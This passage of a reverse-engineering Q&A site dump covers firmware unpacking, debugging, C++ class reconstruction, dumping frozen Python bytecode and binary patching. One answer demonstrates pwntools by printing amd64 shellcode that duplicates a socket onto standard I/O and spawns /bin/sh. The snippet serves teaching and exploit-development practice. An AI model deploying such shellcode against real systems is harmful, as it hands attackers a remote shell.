  <row Id="5850" PostTypeId="2" ParentId="5846" CreationDate="2014-07-14T08:00:45.670" Score="2" Body="&lt;p&gt;Use a current. up to date version of binwalk, it works fine &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk rssflash_1035_201311211539.update00.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 83899310 bytes,  3291 inodes, blocksize: 131072 bytes, created: Fri Nov 22 00:48:15 2013&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use Firmware Mod Kit's &lt;code&gt;unsquash-all&lt;/code&gt; to unsquash it. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-07-14T08:00:45.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostTypeId="1" AcceptedAnswerId="5885" CreationDate="2014-07-14T13:00:56.863" Score="3" ViewCount="1393" Body="&lt;p&gt;To test the debugging capabilities of Hopper, I wrote a simple C++ command line application, and tried to run it on the remote debugging server (with gdb). However, I learned after I failed to be able to interact with the application, from the author, that the Hopper server does not support CL apps currently. In other words, it seems the app has to have its own GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any workarounds for this? Specifically, is there a way I can write a standalone C++ Mach-O executable which has its own version of terminal built into it (without all the features, just an interpreter)?&lt;/p&gt;&#xA;" OwnerUserId="8053" LastEditorUserId="8053" LastEditDate="2014-07-17T17:00:00.770" LastActivityDate="2014-07-17T17:00:00.770" Title="Interacting with command line programs in Hopper disassembler (Mac OS 10.9)" Tags="|debuggers|c++|hopper|mach-o|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostTypeId="2" ParentId="5847" CreationDate="2014-07-14T14:00:50.970" Score="0" Body="&lt;p&gt;When I was learning RE (and I'm always still learning!), I found reading &lt;a href=&quot;http://www.charlespetzold.com/code/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;CODE&quot; by Charles Petzold&lt;/a&gt; to be extremely informative and really helped me understand WHY computers work the way that they do on a low level. &lt;a href=&quot;http://www.microsoft.com/mspress/books/sampchap/4677.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample chapter available here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a book about first principles, but reads like a fiction book, not a computer science book. At one point Petzold walks the reader through how to build a computer counting machine using only parts that would've been available ~100 years ago. If you've never taken an electronics class and concepts such as gates and boolean logic aren't very clear, start here. You'll learn about these concepts without even realizing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading that (which you can finish in a couple evenings), then you could move on to GDB. I'm sure others can make better recommendations than me on GDB, but I found this book helpful the times I've used GDB: &lt;a href=&quot;http://shop.oreilly.com/product/9781593271749.do&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Art of Debugging with GDB and DDD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question about registers, I think an image can make this most clear. Note that this only covers 32-bits, but should be easy enough to see how the 64-bit registers expand on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXjfs.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;source: &lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-07-14T14:00:50.970" CommentCount="0" CommunityOwnedDate="2014-07-14T14:00:50.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="5853" PostTypeId="2" ParentId="5849" CreationDate="2014-07-14T17:42:13.090" Score="1" Body="&lt;p&gt;The class of which &lt;code&gt;sub_106C0A0&lt;/code&gt; is a member function contains another class as a member. Assuming ecx is the class pointer, then it's ecx+4, not ecx, that gets passed to the inner constructor. So the inner class pointer is behind the vtable pointer of the outer class, which suggests something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class a {&#xA;    int i1, i2;&#xA;    short s1, s2;&#xA;    int i3, i4;&#xA;&#xA;    a::a(int x) {&#xA;        i1=0; i2=0;&#xA;        s1=x;&#xA;        s2=0; i3=0; i4=0;&#xA;    } &#xA;}&#xA;&#xA;class b : public a {&#xA;    // whatever;&#xA;}&#xA;&#xA;class outer {&#xA;    class b someelement;&#xA;    // more variables;&#xA;&#xA;    outer::outer() {&#xA;        someelement=(b) new a(48);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd assume the &lt;code&gt;sub_106C0A0&lt;/code&gt; function allocates a class instance, then casts that to another class. The cast to the other class makes the compiler replace &lt;code&gt;a&lt;/code&gt;'s vtable with &lt;code&gt;b&lt;/code&gt;'s vtable. However, i'm not 100% sure how that makes sense - if &lt;code&gt;b&lt;/code&gt; is a real superclass of &lt;code&gt;a&lt;/code&gt;, then casting &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;b&lt;/code&gt; isn't safe, because the additional members aren't there; if &lt;code&gt;b&lt;/code&gt; is a subclass of &lt;code&gt;a&lt;/code&gt;, then there's no reason to replace the vtable when casting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the size and entries of the vtables might help - maybe the programmer used some weird method of abstract classes and implementation classes, where the class members of one class are the abstract classes (&lt;code&gt;b&lt;/code&gt;), but what gets instantiated by &lt;code&gt;new()&lt;/code&gt; are the implementations (&lt;code&gt;a&lt;/code&gt;). (That still wouldn't be a good reason to replace the implementation vtable with the abstract class vtable, however).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-07-14T18:08:53.403" LastActivityDate="2014-07-14T18:08:53.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5854" PostTypeId="2" ParentId="5849" CreationDate="2014-07-14T18:41:22.610" Score="0" Body="&lt;p&gt;I think the c++ code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// has vtbl struc_13_vtable&#xA;// has constructor struc_13_ctor&#xA;struct struc_13 {&#xA;    int  a,b;&#xA;    short c,d;&#xA;    int e,f;&#xA;&#xA;    struc_13(short x)&#xA;       : a(0), b(0), c(x), d(0), e(0), f(0)&#xA;    { }&#xA;&#xA;    virtual void someotherfn();&#xA;};&#xA;&#xA;// has vtbl off_12C057C&#xA;// has inlined constructor&#xA;struct derivedmember : struc_13 {&#xA;    derivedmember() : struc_13(0x30)&#xA;    { }&#xA;    virtual void someotherfn();&#xA;};&#xA;&#xA;// has vtbl off_12C0680&#xA;// has constructor sub_106C0A0&#xA;struct A {&#xA;    derivedmember  member;&#xA;    virtual void somefn();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2014-07-14T19:00:16.687" LastActivityDate="2014-07-14T19:00:16.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostTypeId="1" AcceptedAnswerId="5856" CreationDate="2014-07-14T19:11:26.170" Score="1" ViewCount="1086" Body="&lt;p&gt;I am getting the following from gdb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zdqdQ.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the source of the program and the tutorial it came from. BAsed on what is going on in the tutorial, I should not be getting an error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    int a = 5;&#xA;    int b = a + 6;&#xA;    return b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hackerschool.com/blog/7-understanding-c-by-learning-assembly&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hackerschool.com/blog/7-understanding-c-by-learning-assembly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8058" LastEditorUserId="1547" LastEditDate="2014-07-19T11:13:48.593" LastActivityDate="2014-07-19T11:13:48.593" Title="Why can't gdb find the address of a stack variable" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostTypeId="2" ParentId="5855" CreationDate="2014-07-14T20:00:45.813" Score="1" Body="&lt;p&gt;You need debugging symbols for the variable names to be defined in GDB. Did you compile with the &lt;code&gt;-g&lt;/code&gt; switch?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-07-14T20:00:45.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5857" PostTypeId="2" ParentId="5841" CreationDate="2014-07-14T21:17:57.890" Score="5" Body="&lt;p&gt;Take a look at Gallopsled's pwntools.  Does all the things you want it to, and has most of it built in already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Gallopsled/pwntools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a few examples of it in use, I put up some &lt;a href=&quot;https://gist.github.com/ebeip90&quot; rel=&quot;nofollow noreferrer&quot;&gt;writeups from Codegate 2013&lt;/a&gt; and the &lt;a href=&quot;http://pwnies.dk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwnies do their own writeups&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick example of &quot;I want to &lt;code&gt;dup&lt;/code&gt; file descriptor #4 (e.g. a connected TCP socket) to stdin/stdout/stderr, and pop a shell&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;from pwn import *&#xA;context.arch = 'amd64' # Default architecture is i386&#xA;&#xA;shellcode = shellcraft.dupio(4) + shellcraft.sh()&#xA;print shellcode&#xA;print '----'&#xA;print enhex(asm(shellcode))&#xA;print '----'&#xA;print hexdump(asm(shellcode))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prints out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dup_1:&#xA;    push 4&#xA;    pop rbp&#xA;&#xA;    push 3&#xA;loop_2:&#xA;    pop rsi&#xA;    dec rsi&#xA;    js after_3&#xA;    push rsi&#xA;&#xA;    /* call dup2('rbp', 'rsi') */&#xA;    push SYS_dup2 /* 0x21 */&#xA;    pop rax&#xA;    mov rdi, rbp&#xA;    syscall&#xA;&#xA;    jmp loop_2&#xA;after_3:&#xA;    /* execve(path='/bin///sh', argv=['sh'], envp=0) */&#xA;    /* push '/bin///sh\x00' */&#xA;    push 0x68&#xA;    mov rax, 0x732f2f2f6e69622f&#xA;    push rax&#xA;    mov rdi, rsp&#xA;    /* push argument array ['sh\x00'] */&#xA;    /* push 'sh\x00' */&#xA;    push 0x1010101 ^ 0x6873&#xA;    xor dword ptr [rsp], 0x1010101&#xA;    xor esi, esi /* 0 */&#xA;    push rsi /* null terminate */&#xA;    push 8&#xA;    pop rsi&#xA;    add rsi, rsp&#xA;    push rsi /* 'sh\x00' */&#xA;    mov rsi, rsp&#xA;    xor edx, edx /* 0 */&#xA;    /* call execve() */&#xA;    push SYS_execve /* 0x3b */&#xA;    pop rax&#xA;    syscall&#xA;&#xA;----&#xA;6a045d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05&#xA;----&#xA;00000000  6a 04 5d 6a  03 5e 48 ff  ce 78 0b 56  6a 21 58 48  │j·]j│·^H·│·x·V│j!XH│&#xA;00000010  89 ef 0f 05  eb ef 6a 68  48 b8 2f 62  69 6e 2f 2f  │····│··jh│H·/b│in//│&#xA;00000020  2f 73 50 48  89 e7 68 72  69 01 01 81  34 24 01 01  │/sPH│··hr│i···│4$··│&#xA;00000030  01 01 31 f6  56 6a 08 5e  48 01 e6 56  48 89 e6 31  │··1·│Vj·^│H··V│H··1│&#xA;00000040  d2 6a 3b 58  0f 05                                  │·j;X│··│&#xA;00000046&#xA;0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800&#xA;0000a0e31eff2fe1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They've also got nifty command-line tools for testing shellcode.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn shellcraft i386.linux.echo &quot;Hello world&quot;&#xA;6801010101813424736d6501686f20776f6848656c6c6a04586a015b89e16a0b5acd80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you pipe it to a file or another program, raw binary is sent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn shellcraft i386.linux.echo &quot;Hello world&quot; | xxd&#xA;00000000: 6801 0101 0181 3424 736d 6501 686f 2077  h.....4$sme.ho w&#xA;00000010: 6f68 4865 6c6c 6a04 586a 015b 89e1 6a0b  ohHellj.Xj.[..j.&#xA;00000020: 5acd 80                                  Z..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can print out the raw annotated assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn shellcraft i386.linux.echo &quot;Hello world&quot; -f asm&#xA;/* push 'Hello world' */&#xA;push 0x1010101&#xA;xor dword ptr [esp], 0x1656d73&#xA;push 0x6f77206f&#xA;push 0x6c6c6548&#xA;/* call write('1', 'esp', 0xb) */&#xA;push SYS_write /* 4 */&#xA;pop eax&#xA;push (1) /* 1 */&#xA;pop ebx&#xA;mov ecx, esp&#xA;push 0xb&#xA;pop edx&#xA;int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or generate an ELF:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn shellcraft i386.linux.echo &quot;Hello world&quot; --format elf &amp;gt; hello&#xA;$ file hello&#xA;hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And even automatically execute or debug it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn shellcraft ... --run&#xA;$ pwn shellcraft ... --debug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also assemble your own shellcode on the command-line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwn asm nop&#xA;90&#xA;$ pwn asm nop | xxd&#xA;00000000: 90                                       .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2017-05-10T22:31:43.510" LastActivityDate="2017-05-10T22:31:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostTypeId="2" ParentId="3200" CreationDate="2014-07-15T04:36:32.673" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://developer.android.com/tools/sdk/ndk/index.html&quot; rel=&quot;noreferrer&quot;&gt;Get the Android NDK&lt;/a&gt; and unzip. Use &lt;code&gt;objdump&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;android-ndk-r9d\toolchains\arm-linux-androideabi-4.6\prebuilt\windows-x86_64\arm-linux-androideabi\bin\objdump.exe -d libinquestion_jni.so &amp;gt; libinquestion_jni.txt &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While trying different disassemblers, I explored that they are not capable to decode every byte sequence, and even worse, they can decode in a wrong way making you wonder how does it ever work. Different ARMs have different instruction sets and use overlapping byte encodings for them. &lt;code&gt;objdump&lt;/code&gt; from the Android NDK is a perfect match for CPUs used in Android products, and it's free.&lt;/p&gt;&#xA;" OwnerUserId="8062" LastEditorUserId="53" LastEditDate="2014-07-15T09:45:00.820" LastActivityDate="2014-07-15T09:45:00.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostTypeId="1" CreationDate="2014-07-15T05:22:21.400" Score="10" ViewCount="9443" Body="&lt;p&gt;I am attempting to reverse engineer an EXE compiled using the utility &quot;Freeze&quot; or &quot;pfreeze&quot; that ships with Python (not to get confused with &quot;cx_freeze&quot;). Inside the EXE there is an array of memory called &lt;code&gt;PyImport_FrozenModules&lt;/code&gt;. When the program starts up that array gets populated with the programs bytecode(aka .pyo/.pyc files). I have been researching this for a few months now and i'm at a bit of a standstill. I need to find a way to extract the bytecode out of that array. The program originally connected to a server so once the EXE is executed, it will run for about 10-20 seconds before crashing. To prolong the 10-20 seconds I need to suspend the program(this is easily done with &quot;Process Explorer&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need help on is actually dumping the &lt;code&gt;PyImport_FrozenModules&lt;/code&gt;, so i can get the .pyc's and go on from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to get it to this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1rUsL.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;br&gt;&#xA;&lt;sub&gt; link : &lt;a href=&quot;http://gyazo.com/83bcde5240df7fb9ec34e7e3de7699ba&quot; rel=&quot;noreferrer&quot;&gt;http://gyazo.com/83bcde5240df7fb9ec34e7e3de7699ba&lt;/a&gt; &lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by loading the exe in a debugger like ollydbg, finding the line of the import, and just setting them to NOP'S.&#xA;Some people say i have to write a script for this, and others says it's easier than i think. I just have no clue where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8066" LastEditorUserId="1413" LastEditDate="2014-07-15T09:48:38.220" LastActivityDate="2015-09-14T20:38:07.670" Title="Reverse Engineering program written in Python, compiled with &quot;freeze&quot;" Tags="|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5861" PostTypeId="2" ParentId="5860" CreationDate="2014-07-15T10:06:13.587" Score="16" Body="&lt;p&gt;This is how you should proceed in such cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; : Load the executable in a debugger like Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; : In the memory dump window, navigate to &lt;code&gt;PyImport_FrozenModules&lt;/code&gt; by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; : &lt;code&gt;PyImport_FrozenModules&lt;/code&gt; is a pointer which is initialized to point to an array of &lt;code&gt;struct _frozen&lt;/code&gt; records. Follow this pointer in &lt;code&gt;dump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt; : Now you are at the position where there is an array of &lt;code&gt;_frozen&lt;/code&gt; structures. This structure is defined as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _frozen {&#xA;    char *name;&#xA;    unsigned char *code;&#xA;    int size;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above array is terminated by a structure whose all of its members are null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt; : In the above structure, the first member is the pointer to the name of the frozen module, &lt;strong&gt;&lt;em&gt;the second member is a pointer to the bytecode of the module. (This is the thing which you are looking for)&lt;/em&gt;&lt;/strong&gt;. The last member will give you the size in bytes of the bytecode. Using the size, dump out the bytecode to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt; : The bytecode which you have just dumped out does not contain the magic header value for pyc  files &lt;em&gt;(for python 2.7 this is 03 F3 0D 0A, followed by a 4 byte timestamp)&lt;/em&gt;&#xA;Add the header and now the file should be decompile-able. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automate the above process, you could also write a script.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a PyCommand ( a immunity debugger script) to dump the frozen modules. You need to run the script after all frozen modules are loaded. For this you may set a breakpoint on &#xA;the function &lt;code&gt;PyImport_ImportFrozenModule()&lt;/code&gt; so that you can track each frozen module as they are loaded. If you are new to Immunity Debugger see &lt;em&gt;&lt;a href=&quot;https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/&quot;&gt;this&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;http://tekwizz123.blogspot.in/2012/04/pycommands-tutorial.html&quot;&gt;this&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import immlib&#xA;&#xA;DESC = 'PyCommand to dump frozen python modules'&#xA;PYTHONMAGIC = '\x03\xF3\x0D\x0A\x00\x00\x00\x00' # Change this value according to the version of python used. The value given here is for Python 2.7&#xA;&#xA;'''&#xA;Run this pycommand when all frozen modules are loaded.&#xA;This will dump each frozen module in a .pyc file in &#xA;immunity debugger installation directory&#xA;'''&#xA;&#xA;def main(args):&#xA;    imm = immlib.Debugger()&#xA;    addr = imm.getAddress('PyImport_FrozenModules')&#xA;    structAddr = imm.readLong(addr)&#xA;&#xA;    while True:&#xA;        ptrToName = imm.readLong(structAddr)&#xA;        ptrToCode = imm.readLong(structAddr + 4)&#xA;        sizeOfCode = imm.readLong(structAddr + 8)&#xA;        structAddr += 12&#xA;&#xA;        # The array is terminated by a structure whose members are null&#xA;        if ptrToName == 0 and ptrToCode == 0 and sizeOfCode == 0:&#xA;            break&#xA;&#xA;        if sizeOfCode &amp;gt; 0 and sizeOfCode &amp;lt; 2147483647:            &#xA;            moduleName = imm.readString(ptrToName)&#xA;            moduleCode = imm.readMemory(ptrToCode, sizeOfCode)&#xA;&#xA;            # You can change the output path here&#xA;            open(moduleName + '.pyc', 'wb').write(PYTHONMAGIC + moduleCode) &#xA;&#xA;    return '[*] Frozen modules dumped'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the frozen modules are dumped, use a decompiler on the resultant &lt;em&gt;pyc&lt;/em&gt; files. You may use &lt;em&gt;&lt;a href=&quot;http://sourceforge.net/projects/easypythondecompiler/&quot;&gt;Easy Python Decompiler&lt;/a&gt;&lt;/em&gt; for that.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-17T17:15:20.590" LastActivityDate="2014-07-17T17:15:20.590" CommentCount="38" ContentLicense="CC BY-SA 3.0" />
  <row Id="5862" PostTypeId="1" CreationDate="2014-07-15T10:14:48.597" Score="2" ViewCount="2548" Body="&lt;p&gt;I want to know how to use the application &lt;a href=&quot;http://www.softpedia.com/get/Compression-tools/InnoExtractor.shtml&quot; rel=&quot;nofollow&quot;&gt;InnoExtractor&lt;/a&gt; to unpack/extract the files of Inno Setup installers. Some good tutorial/video to learn?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this application from &lt;a href=&quot;http://www.softpedia.com/get/Compression-tools/InnoExtractor.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8067" LastEditorUserId="8067" LastEditDate="2014-07-15T22:31:49.747" LastActivityDate="2016-07-28T15:07:57.357" Title="Unpacking Inno Setup installers with InnoExtractor?" Tags="|disassembly|decompilation|pe|unpacking|executable|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostTypeId="1" CreationDate="2014-07-15T13:53:24.710" Score="2" ViewCount="499" Body="&lt;p&gt;I am currently writing a plugin for the Hex-Ray's Decompiler to be used on IDA 6.2. The basic gist is that it is supposed to get the decompiled functions and run some automated analysis on it, nothing exceptional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that apparently IDA redefines the function &lt;code&gt;vsscanf&lt;/code&gt; in the &lt;code&gt;pro.h&lt;/code&gt; file, which is already defined in &lt;code&gt;stdio.h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Precisely, the snippet that does this is as follows (lines 426-428 in the &lt;code&gt;pro.h&lt;/code&gt; file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// non standard functions are missing:&#xA;#ifdef _MSC_VER&#xA;AS_SCANF(2, 0) int idaapi vsscanf(const char *input, const char *format, va_list va);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I am honestly at loss as to how to resolve this issue and could not find any decent leads searching the web. I tried compiling this with MS Visual Studio 2013 on Win7 x64. But, with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best lead is that IDA will try this definition when compiling with MSVS. &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/70013/how-to-detect-if-im-compiling-code-with-visual-studio-2008&quot;&gt;As seen here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my considerations is to try and change the &lt;code&gt;pro.h&lt;/code&gt; file. But, I am really not sure how that would work out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I solved this by reverting to MSVS 2010. Apparently IDA 6.2/sdk 6.2 is not compatible with the modern MSVS 2013.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-08-23T11:20:32.907" Title="Issue with Hex-Ray's Decompiler Plugin, redefinition of 'vsscanf'" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5864" PostTypeId="1" AcceptedAnswerId="5865" CreationDate="2014-07-15T16:52:30.820" Score="0" ViewCount="468" Body="&lt;p&gt;I dont have any experience with assembler or reversing code. I need to change charset of .exe program to support turkish characters. I have opened it in Ollydbg do some tests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pK8V6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several blocks like this. I tried to change binary &lt;code&gt;6A 01&lt;/code&gt; to &lt;code&gt;6A A2&lt;/code&gt; which should change to &lt;code&gt;162&lt;/code&gt; (turkish charset) but instead turned to negative value. Also there are some codes like this one. Is changing &lt;code&gt;CP_ACP&lt;/code&gt; to &lt;code&gt;CP_UTF8&lt;/code&gt; gonna work ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, is it possible to edit like this and get program support charset ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDc1D.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="8072" LastEditorUserId="8072" LastEditDate="2014-07-16T09:13:37.923" LastActivityDate="2014-07-16T09:13:37.923" Title="Change program's codepage / charset" Tags="|disassembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostTypeId="2" ParentId="5864" CreationDate="2014-07-15T17:26:15.333" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried to change binary 6A 01 to 6A A2 which should change to 162 (turkish charset) but instead turned to negative value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Usually &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html?iid=tech_vt_tech+64-32_manuals&quot; rel=&quot;nofollow&quot;&gt;the instruction set reference&lt;/a&gt; is a huge help if you don't understand how instructions behave. In this case, I'd say you will need to use &lt;code&gt;68&lt;/code&gt; (&lt;code&gt;PUSH imm32&lt;/code&gt;) instead of &lt;code&gt;6A&lt;/code&gt; (&lt;code&gt;PUSH imm8&lt;/code&gt;). The &lt;code&gt;imm8&lt;/code&gt; is sign-extended when pushed onto the stack. Note that you'll have to either shift the following function code by 3 bytes (which are the difference in sizes between &lt;code&gt;imm32&lt;/code&gt; and &lt;code&gt;imm8&lt;/code&gt; operands). Depending on the compiler used, its options, and the function size, there may be pad bytes after the function which can be used exactly for that. Watch out for e.g. jump tables, if there are any -- they may need to be patched as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not possible to shift the code, you can make use of code space somewhere else in the executable -- usually, the last page in &lt;code&gt;.text&lt;/code&gt; is not fully used; move instructions that do not fit there and make a jump, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;PUSH EDI&#xA;PUSH EDI&#xA;PUSH A2 ; Your patched insn; 5 bytes&#xA;...&#xA;PUSH 190&#xA;PUSH EDI&#xA;PUSH EDI&#xA;; So we need 2 extra bytes here&#xA;; Moving CALL gives 6, patched PUSH takes 3, patched JMP takes 